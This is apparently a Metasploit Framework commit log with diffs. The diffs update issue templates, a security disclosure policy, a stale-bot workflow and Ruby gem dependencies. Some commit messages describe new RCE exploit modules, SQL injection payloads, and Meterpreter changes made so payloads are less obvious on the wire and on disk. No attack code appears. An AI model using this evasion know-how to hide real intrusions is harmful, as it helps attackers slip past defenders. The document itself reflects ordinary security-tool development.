kalba-security 546dcdbeef Add register_file_for_cleanup 2020-06-15 13:13:52 -04:00
kalba-security f0255e3c81 Fix atutor_filemanager_traversal credentials checks and clean up code 2020-06-15 12:15:00 -04:00
OJ 6e1956428f Merge remote-tracking branch 'zs/wip/pr/13432' into python-tlv-enc 2020-06-15 17:01:27 +10:00
Brendan Coles e95d6b5b7e post/windows/gather/checkvm: cleanup, increase efficiency, fix style
Ensure `registry_enumkeys('HKLM\SYSTEM\ControlSet001\Services')` and
`session.sys.process.get_processes` are called only once.

Update style in line with Rubocop rules
2020-06-13 22:47:22 +00:00
Niboucha Redouane 0887f3feee Improve the blind injection queries 2020-06-13 12:24:22 +02:00
kalba-security e4351d37b8 Add ATutor 2.2.4 directory traversal / RCE module and docs 2020-06-12 16:02:00 -04:00
gwillcox-r7 df1a9c7fdb Add ZSH autocomplete features per @smcintyre-r7's request 2020-06-12 10:44:50 -05:00
gwillcox-r7 06e3abf7ef Finally finish adding support for x86 arbitrary service names via msfvenom 2020-06-11 21:47:38 -05:00
gwillcox-r7 87769db6fd msfvenom x64 support finished, just need to get x86 working 2020-06-11 21:46:41 -05:00
gwillcox-r7 0f30e871f6 Add --service-name option to msfvenom 2020-06-11 21:45:58 -05:00
Spencer McIntyre 6c5a8b8f14 Fix double encoding for unstaged Python meterpreter 2020-06-11 16:48:49 -04:00
Niboucha Redouane 3639765277 Improve code quality: less repetitive code 2020-06-11 19:16:23 +02:00
Niboucha Redouane 083d986dce Undo formatting changes to existing modules 2020-06-11 19:15:17 +02:00
Niboucha Redouane c319799c44 Add more comments 2020-06-11 00:07:53 +02:00
Spencer McIntyre 1f2b7d62a8 Land #13395, Replace METHOD string with COMMAND_ID integer (to remove obvious strings) 2020-06-10 16:40:20 -04:00
Spencer McIntyre 6ca33689ff Fix two minor errors in the powershell_session_remove command 2020-06-10 16:36:11 -04:00
Niboucha Redouane ecb1a0bb16 add test_vulnerable to MySQLi class, and fix minor issues with the test modules 2020-06-10 21:59:51 +02:00
Niboucha Redouane 12681b0746 Add support for encodings to exfiltrate data containing bad characters/multibyte characters 2020-06-10 21:40:22 +02:00
Niboucha Redouane 0f936f7500 Various fixes and enhancements 2020-06-09 23:43:15 +02:00
Niboucha Redouane f1d3b33099 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into GSOC/SQLi_Engine 2020-06-09 21:15:18 +02:00
Christophe De La Fuente 258a97fa7e Bump the RubySMB version is gemspec file 2020-06-09 15:23:39 +02:00
Christophe De La Fuente 98ac51dd5d Improvements from code review 2020-06-09 14:18:52 +02:00
Christophe De La Fuente cfc7c48333 Update auxiliary/admin/smb/delete_file module 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 9f2a29d4fe Update last batch of modules 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 3580ac18a1 Fix typo 2020-06-09 14:18:52 +02:00
Christophe De La Fuente a9a1d01419 Update some libraries and modules 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 0bb93b4efb Update modules
- ms17_010_command  and ms17_010_psexec: deregister
  SMB::ProtocolVersion option
- client: update error handling
- is_known_pipename: force SMB1 only for #enumerate_directories and
  update error handling
2020-06-09 14:18:52 +02:00
Christophe De La Fuente 24c20fe7d7 Update SimpleClient #open logic for RubySMB 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 2f873fefcd Update modules
- modules/auxiliary/scanner/smb/smb_enumshares.rb
- modules/exploits/linux/samba/setinfopolicy_heap.rb
- modules/exploits/linux/samba/trans2open.rb
- modules/exploits/multi/samba/usermap_script.rb
- modules/exploits/windows/smb/ipass_pipe_exec.rb
2020-06-09 14:18:52 +02:00
Christophe De La Fuente 04a44d2334 Improve client error/warning/debug messages 2020-06-09 14:18:52 +02:00
Christophe De La Fuente 31a117f8f7 Update modules
- smb_ms17_010.rb
- psexec_ms17_010.rb
- psexec_psh.rb
- smb_enumshares.rb
2020-06-09 14:18:52 +02:00
Christophe De La Fuente 474d7ebbab Update SMB client
- Add SMB::AlwaysEncrypt option
- Force SMB1 for SMB fingerprint
- Update smb_netshareenumall
2020-06-09 14:18:51 +02:00
Christophe De La Fuente 360d38018c Update exploit/windows/smb/psexec 2020-06-09 14:18:51 +02:00
Christophe De La Fuente 6ab47eb001 Update SMB Client and SimpleClient
- multiple protocol version negotiation
- SMB 1, 2 and 3 by default
- add SMB::ProtocolVersion option to SMB Client mixin
2020-06-09 14:18:51 +02:00
Christophe De La Fuente 79e52d1d4c Fix ms17_010_eternalblue 2020-06-09 14:18:51 +02:00
OJ ec2d1a886f Update modules to reference COMMAND IDs not strings 2020-06-09 11:38:14 +10:00
OJ d1cfbb0982 Removal of unnecessary local var 2020-06-09 10:34:50 +10:00
OJ 6170f497b6 Fix TLV types and remove ones that no longer exist 2020-06-09 10:34:10 +10:00
OJ 209e463c84 Pass DER-encoed public keys instead of PEM
Just to reduce the more obvious thing going across the wire (ie. no more
"BEGIN PUBLIC KEY"). We now see binary blobs.
2020-06-09 10:34:04 +10:00
Brent Cook 5b69fe9757 reverse_python_ssl has has apparently stabilized in size 2020-06-09 08:59:52 +10:00
Brent Cook 6ec8e942c2 update sizes 2020-06-09 08:59:51 +10:00
Brent Cook 6f7861f17e bump payloads version 2020-06-09 08:59:51 +10:00
OJ 48290ac38a Fix a stupid mistake with core_patch_url
This was not originally ported to an int when it should have been.
2020-06-09 08:58:27 +10:00
OJ 10529c8b7a Fix silly typo in the android extension dispatcher 2020-06-09 08:58:27 +10:00
OJ b9013e32fa Re-remove the filter on the sniffer extension
Not sure why, but this is causing issues. Gross.
2020-06-09 08:58:27 +10:00
OJ 19f771f6ec Fix missed cases of method strings 2020-06-09 08:58:27 +10:00
OJ c08e86434b Fix more specs 2020-06-09 08:58:27 +10:00
OJ 30a23c470b Update payload cache sizes 2020-06-09 08:58:27 +10:00
OJ 616fdaeb60 Fix up packe spec tests 2020-06-09 08:58:27 +10:00
OJ 2ed4fa251f Somehow lost a bang!
Thanks @sempervictus
2020-06-09 08:58:26 +10:00
OJ 1fd771c092 Remove networkpug
This thing doesn't exist any more, so no need to have code referencing
it.
2020-06-09 08:58:26 +10:00
OJ 364b7fac49 Refactor of command ids into separate files 2020-06-09 08:58:26 +10:00
OJ 8070074da3 Almost final refactor of how IDs are handled 2020-06-09 08:58:26 +10:00
OJ d87cb8ca63 Java-related UINT command ID generation 2020-06-09 08:58:26 +10:00
OJ 641f298819 Support removal of TLV strings
This first bit of code aims to add a "map" to the packet functionality
that is able to translate to and from "method strings" to "command ids".
IDs are sent across the wire, and they're now integers. This removes the
need for the strings to be present in things like native meterp, and
hence makes things a little less obvious on the wire, and way less
obvious on disk/in the payload.

Given that we need this functionality in other Meterpreters to support
the removal of strings, some code has been added that can generate
source files for Python, C# and C. This code might move, but for now
it's at least in a spot where it's used the most.
2020-06-09 08:57:40 +10:00
OJ 8b76be283f Merge branch '6.x' of github.com:rapid7/metasploit-framework into 6.x 2020-06-09 08:52:56 +10:00
Jeffrey Martin ef0314ddc3 bump version to 6.0.0 in progress 2020-06-08 17:47:54 -05:00
cn-kali-team 32c3dd5071 Original code style 2020-06-08 18:00:46 +08:00
cn-kali-team 6a0e4110d8 Original code style 2020-06-08 17:56:29 +08:00
cn-kali-team 5e61750c89 add Session notified to DingTalk 2020-06-08 15:24:04 +08:00
OJ 4dca9eeb39 Merge remote-tracking branch 'zs/wip/pr/13432' into python-tlv-enc 2020-06-07 09:06:06 +10:00
Niboucha Redouane 4654941092 add test modules 2020-06-05 22:11:27 +02:00
Niboucha Redouane 92d8464ac1 Various fixes and enhancements 2020-06-05 21:59:16 +02:00
Spencer McIntyre d2fa21a1ee Make some change for Python version compatibility 2020-06-05 12:04:04 -04:00
Niboucha Redouane 118ada96a2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework into GSOC/SQLi_Engine 2020-06-04 17:55:38 +02:00
Niboucha Redouane db4880762a Add common MySQL injection payloads and options 2020-06-03 01:18:19 +02:00
OJ 64a0ebbbd2 Remove mimikatz documentation 2020-05-28 14:07:00 +10:00
OJ 752119e7f2 Add a temporary redirect from mimikatz->kiwi 2020-05-28 13:42:27 +10:00
OJ 4d57f52565 Remove the mimikatz extension 2020-05-28 12:34:44 +10:00
kalba-security 99fed02c03 Fix docs based on msftidy suggestions 2020-05-27 07:40:59 -04:00
kalba-security a829f5b628 Merge branch 'wvu-r7-pr/13521' into bolt_authenticated_rce 2020-05-26 17:30:01 -04:00
William Vu b33ebeb6f7 msftidy && rubocop -a 2020-05-26 16:21:09 -05:00
kalba-security 137a825d07 Incorporate suggestions from first review 2020-05-26 16:53:31 -04:00
kalba-security 393c44a48d Add bolt_authenticated_rce linux/http exploit module and docs 2020-05-26 14:03:44 -04:00
h00die e08653db5a capital M 2020-05-15 08:19:32 -04:00
Jeffrey Martin 88d42f5d7f bump version to 6.0.0 in progress 2020-05-14 17:52:02 -05:00
OJ fee523f6cf Remove some unnecessary bytes 2020-05-12 15:22:56 +10:00
OJ d39ca5c47f Remove ref to base64 where not needed, more code golf 2020-05-12 15:08:43 +10:00
OJ 905ee564ee Add zlib/base64 support to python stagers
This forces python to use zlib and base64 when transferring the stages
around. In my testing this dropped the stage for reverse_tcp from 111801
bytes to 36200 bytes (while still including the encryption libs).
2020-05-12 14:54:08 +10:00
OJ 0df2cfd5a1 Little bit of code golf 2020-05-11 20:49:39 +10:00
OJ 1c0d76e482 Include a horrible custom DER/RSA implementation
I'm sorry, but I'm also not sorry.
2020-05-11 19:08:37 +10:00
OJ 97fc253077 Last effort at payload size reduction 2020-05-07 18:52:01 +10:00
OJ c0f32e59d0 Another interim commit while reducing the payload size 2020-05-07 18:38:07 +10:00
OJ 9d4ef13a84 First pass of python TLV encryption support
More info to come, but this does a few things with magic!~
2020-05-07 18:28:13 +10:00
h00die 22e2a17873 cram-md5 2020-04-17 16:51:25 -04:00
h00die a7ef822d4a extra url 2020-04-17 00:57:31 -04:00
h00die 5091b6fb16 now captures auth 2020-04-17 00:51:05 -04:00
Karim Kanso 1e044d5ca1 changed 'exit' to 'return' in bind_named_pipe handler 2020-04-12 19:38:05 +01:00
749 changed files with 44079 additions and 11440 deletions
+9 -15
View File
@@ -37,24 +37,18 @@ What should happen?
What happens instead?
You might also want to check the last ~1k lines of
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
`~/.msf4/logs/framework.log` for relevant stack traces
## System stuff
### Metasploit version
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
### I installed Metasploit with:
- [ ] Kali package via apt
- [ ] Omnibus installer (nightly)
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
- [ ] Source install (please specify ruby version)
## Additional Information
If your version is less than `5.0.96`, please update to the latest version and ensure your issue is still present.
### OS
What OS are you running Metasploit on?
If the issue is encountered within `msfconsole`, please run the `debug` command using the instructions below. If the issue is encountered outisde `msfconsole`, or the issue causes `msfconsole` to crash on startup, please delete this section.
1. Start `msfconsole`
2. Run the command `set loglevel 3`
3. Take the steps necessary recreate your issue
4. Run the `debug` command
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===` line and make sure to **REMOVE ANY SENSITIVE INFORMATION.**
6. Replace these instructions and the paragraph above with the output from step 5.
+35
View File
@@ -0,0 +1,35 @@
# Reporting security issues
Thanks for your interest in making Metasploit more secure! If you feel
that you have found a security issue involving Metasploit, Meterpreter,
Recog, or any other Rapid7 open source project, you are welcome to let
us know in the way that's most comfortable for you.
## Via ZenDesk
You can click on the big blue button at [Rapid7's Vulnerability
Disclosure][r7-vulns] page, which will get you to our general
vulnerability reporting system. While this does require a (free) ZenDesk
account to use, you'll get regular updates on your issue as our software
support teams work through it. As it happens [that page][r7-vulns] also
will tell you what to expect when it comes to reporting vulns, how fast
we'll fix and respond, and all the rest, so it's a pretty good read
regardless.
## Via email
If you're more of a traditionalist, you can email your finding to
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
encrypt your messages, but we certainly don't mind cleartext reports
over email.
## NOT via GitHub Issues
Please don't! Disclosing security vulnerabilities to public bug trackers
is kind of mean, even when it's well-intentioned, since you end up
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
you didn't!
[r7-vulns]:https://www.rapid7.com/security/disclosure/
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
+12
View File
@@ -92,6 +92,11 @@ pulls:
Once there's a clear path for testing and evaluating this module, we can progress with this further.
needs-pull-request-template:
close: false
comment: |
When creating a pull request, please ensure that the default pull request template has been updated with the required details.
issues:
actions:
termux:
@@ -105,6 +110,13 @@ issues:
* https://wiki.termux.com/wiki/Metasploit_Framework
* termux/termux-packages/issues/715
needs-issue-template:
close: true
comment: |
When creating an issue, please ensure that the default issue template has been updated with the required details.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
potato:
close: true
comment: |
+36
View File
@@ -0,0 +1,36 @@
on:
schedule:
- cron: "0 15 * * *"
name: Stale Bot workflow
jobs:
build:
name: stale
runs-on: ubuntu-latest
steps:
- name: stale
id: stale
uses: actions/stale@v3
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 30
days-before-close: 30
operations-per-run: 25
stale-issue-message: |
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. Its been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
close-issue-message: |
Hi again!
Its been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that Im only a robot, so if Ive closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
exempt-issue-labels: |
not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs
debug-only: false
+1
View File
@@ -9,6 +9,7 @@ bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
+124 -121
View File
@@ -1,14 +1,14 @@
PATH
remote: .
specs:
metasploit-framework (5.0.95)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
metasploit-framework (6.0.7)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
bcrypt (= 3.1.12)
bcrypt
bcrypt_pbkdf
bit-struct
bson
@@ -26,12 +26,12 @@ PATH
jsobfu
json
metasm
metasploit-concern (~> 2.0.0)
metasploit-credential (~> 3.0.0)
metasploit-model (~> 2.0.4)
metasploit-payloads (= 1.4.2)
metasploit_data_models (~> 3.0.10)
metasploit_payloads-mettle (= 0.5.21)
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.12)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.2)
mqtt
msgpack
nessus_rest
@@ -47,7 +47,7 @@ PATH
patch_finder
pcaprub
pdf-reader
pg (~> 0.20)
pg
railties
rb-readline
recog
@@ -71,7 +71,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby_smb (~> 1.1)
ruby_smb (~> 2.0)
rubyntlm
rubyzip
sinatra
@@ -89,65 +89,64 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.11.3)
actionview (= 4.2.11.3)
activesupport (= 4.2.11.3)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
actionpack (5.2.4.4)
actionview (= 5.2.4.4)
activesupport (= 5.2.4.4)
rack (~> 2.0, >= 2.0.8)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.11.3)
activesupport (= 4.2.11.3)
actionview (5.2.4.4)
activesupport (= 5.2.4.4)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.11.3)
activesupport (= 4.2.11.3)
builder (~> 3.1)
activerecord (4.2.11.3)
activemodel (= 4.2.11.3)
activesupport (= 4.2.11.3)
arel (~> 6.0)
activesupport (4.2.11.3)
i18n (~> 0.7)
activemodel (5.2.4.4)
activesupport (= 5.2.4.4)
activerecord (5.2.4.4)
activemodel (= 5.2.4.4)
activesupport (= 5.2.4.4)
arel (>= 9.0)
activesupport (5.2.4.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel (9.0.0)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
ast (2.4.1)
aws-eventstream (1.1.0)
aws-partitions (1.330.0)
aws-sdk-core (3.100.0)
aws-partitions (1.366.0)
aws-sdk-core (3.105.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.167.0)
aws-sdk-ec2 (1.193.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.40.1)
aws-sdk-iam (1.44.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.34.1)
aws-sdk-kms (1.37.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.68.1)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sdk-s3 (1.79.1)
aws-sdk-core (~> 3, >= 3.104.3)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.0)
aws-sigv4 (1.2.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.12)
bcrypt (3.1.16)
bcrypt_pbkdf (1.0.1)
bindata (2.4.7)
bindata (2.4.8)
bit-struct (0.16)
bson (4.9.2)
bson (4.10.0)
builder (3.2.4)
byebug (11.1.3)
coderay (1.1.3)
@@ -155,12 +154,12 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.3)
addressable (~> 2.5)
diff-lcs (1.4.4)
dnsruby (1.61.4)
simpleidn (~> 0.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.6)
em-http-request (1.1.7)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
@@ -168,18 +167,18 @@ GEM
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
erubi (1.9.0)
eventmachine (1.2.7)
factory_bot (5.2.0)
activesupport (>= 4.2.0)
factory_bot_rails (5.2.0)
factory_bot (~> 5.2.0)
railties (>= 4.2.0)
faker (2.2.1)
i18n (>= 0.8)
factory_bot (6.1.0)
activesupport (>= 5.0.0)
factory_bot_rails (6.1.0)
factory_bot (~> 6.1.0)
railties (>= 5.0.0)
faker (2.13.0)
i18n (>= 1.6, < 2)
faraday (1.0.1)
multipart-post (>= 1.2, < 3)
faye-websocket (0.10.9)
faye-websocket (0.11.0)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
filesize (0.2.0)
@@ -188,7 +187,7 @@ GEM
hrr_rb_ssh (0.3.0.pre2)
ed25519 (~> 1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
i18n (1.8.5)
concurrent-ruby (~> 1.0)
io-console (0.5.6)
irb (1.2.4)
@@ -196,17 +195,17 @@ GEM
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.3.0)
loofah (2.6.0)
json (2.3.1)
loofah (2.7.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.4)
metasploit-concern (3.0.0)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-credential (4.0.2)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
@@ -216,45 +215,47 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (2.0.4)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.4.2)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
metasploit-model (3.0.0)
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-payloads (2.0.12)
metasploit_data_models (4.0.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
arel-helpers
metasploit-concern
metasploit-model
pg
postgres_ext
railties (~> 4.2.6)
railties (~> 5.2.2)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.21)
metasploit_payloads-mettle (1.0.2)
method_source (1.0.0)
mini_portile2 (2.4.0)
minitest (5.14.1)
minitest (5.14.2)
mqtt (0.5.0)
msgpack (1.3.3)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.16.2)
net-ldap (0.16.3)
net-ssh (6.1.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.9)
nokogiri (1.10.10)
mini_portile2 (~> 2.4.0)
octokit (4.18.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.19.2)
parser (2.7.1.3)
ast (~> 2.4.0)
parser (2.7.1.4)
ast (~> 2.4.1)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.4.0)
@@ -263,41 +264,34 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (0.21.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.1)
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pg (1.2.3)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.5)
rack (1.6.13)
rack-protection (1.5.5)
public_suffix (4.0.6)
rack (2.2.3)
rack-protection (2.1.0)
rack
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.9)
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rack-test (1.1.0)
rack (>= 1.0, < 3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (4.2.11.3)
actionpack (= 4.2.11.3)
activesupport (= 4.2.11.3)
railties (5.2.4.4)
actionpack (= 5.2.4.4)
activesupport (= 5.2.4.4)
method_source
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
thor (>= 0.19.0, < 2.0)
rainbow (3.0.0)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.8)
recog (2.3.14)
nokogiri
redcarpet (3.5.0)
regexp_parser (1.7.1)
@@ -347,7 +341,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.26)
rex-text (0.2.28)
rex-zip (0.1.3)
rex-text
rexml (3.2.4)
@@ -375,23 +369,26 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.9.3)
rubocop (0.85.1)
rubocop (0.90.0)
parallel (~> 1.10)
parser (>= 2.7.0.1)
parser (>= 2.7.1.1)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.7)
rexml
rubocop-ast (>= 0.0.3)
rubocop-ast (>= 0.3.0, < 1.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 2.0)
rubocop-ast (0.0.3)
parser (>= 2.7.0.1)
rubocop-ast (0.3.0)
parser (>= 2.7.1.4)
ruby-macho (2.2.0)
ruby-prof (1.4.1)
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
ruby2_keywords (0.0.2)
ruby_smb (2.0.4)
bindata
openssl-ccm
openssl-cmac
rubyntlm
windows_error
rubyntlm (0.6.2)
@@ -403,10 +400,13 @@ GEM
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.12.2)
sinatra (1.4.8)
rack (~> 1.5)
rack-protection (~> 1.4)
tilt (>= 1.3, < 3)
simpleidn (0.1.1)
unf (~> 0.1.4)
sinatra (2.1.0)
mustermann (~> 1.0)
rack (~> 2.2)
rack-protection (= 2.1.0)
tilt (~> 2.0)
sqlite3 (1.3.13)
sshkey (2.0.0)
swagger-blocks (3.0.0)
@@ -423,16 +423,19 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2020.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
warden (1.2.7)
rack (>= 1.0)
websocket-driver (0.7.2)
warden (1.2.9)
rack (>= 2.0.9)
websocket-driver (0.7.3)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xdr (3.0.1)
activemodel (>= 5.2.0)
activesupport (>= 5.2.0)
xmlrpc (0.3.0)
yard (0.9.25)
+60 -57
View File
@@ -1,28 +1,28 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.11.3, MIT
actionview, 4.2.11.3, MIT
activemodel, 4.2.11.3, MIT
activerecord, 4.2.11.3, MIT
activesupport, 4.2.11.3, MIT
actionpack, 5.2.4.4, MIT
actionview, 5.2.4.4, MIT
activemodel, 5.2.4.4, MIT
activerecord, 5.2.4.4, MIT
activesupport, 5.2.4.4, MIT
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel, 9.0.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.1, MIT
aws-eventstream, 1.1.0, "Apache 2.0"
aws-partitions, 1.330.0, "Apache 2.0"
aws-sdk-core, 3.100.0, "Apache 2.0"
aws-sdk-ec2, 1.167.0, "Apache 2.0"
aws-sdk-iam, 1.40.1, "Apache 2.0"
aws-sdk-kms, 1.34.1, "Apache 2.0"
aws-sdk-s3, 1.68.1, "Apache 2.0"
aws-sigv4, 1.2.0, "Apache 2.0"
bcrypt, 3.1.12, MIT
aws-partitions, 1.366.0, "Apache 2.0"
aws-sdk-core, 3.105.0, "Apache 2.0"
aws-sdk-ec2, 1.193.0, "Apache 2.0"
aws-sdk-iam, 1.44.0, "Apache 2.0"
aws-sdk-kms, 1.37.0, "Apache 2.0"
aws-sdk-s3, 1.79.1, "Apache 2.0"
aws-sigv4, 1.2.2, "Apache 2.0"
bcrypt, 3.1.16, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.7, ruby
bindata, 2.4.8, ruby
bit-struct, 0.16, ruby
bson, 4.9.2, "Apache 2.0"
bson, 4.10.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 1.17.3, MIT
byebug, 11.1.3, "Simplified BSD"
@@ -31,78 +31,77 @@ concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.3, "Apache 2.0"
diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.4, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.6, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
erubi, 1.9.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.2.0, MIT
factory_bot_rails, 5.2.0, MIT
faker, 2.2.1, MIT
factory_bot, 6.1.0, MIT
factory_bot_rails, 6.1.0, MIT
faker, 2.13.0, MIT
faraday, 1.0.1, MIT
faye-websocket, 0.10.9, "Apache 2.0"
faye-websocket, 0.11.0, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
i18n, 1.8.5, MIT
io-console, 0.5.6, "Simplified BSD"
irb, 1.2.4, "Simplified BSD"
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.3.0, ruby
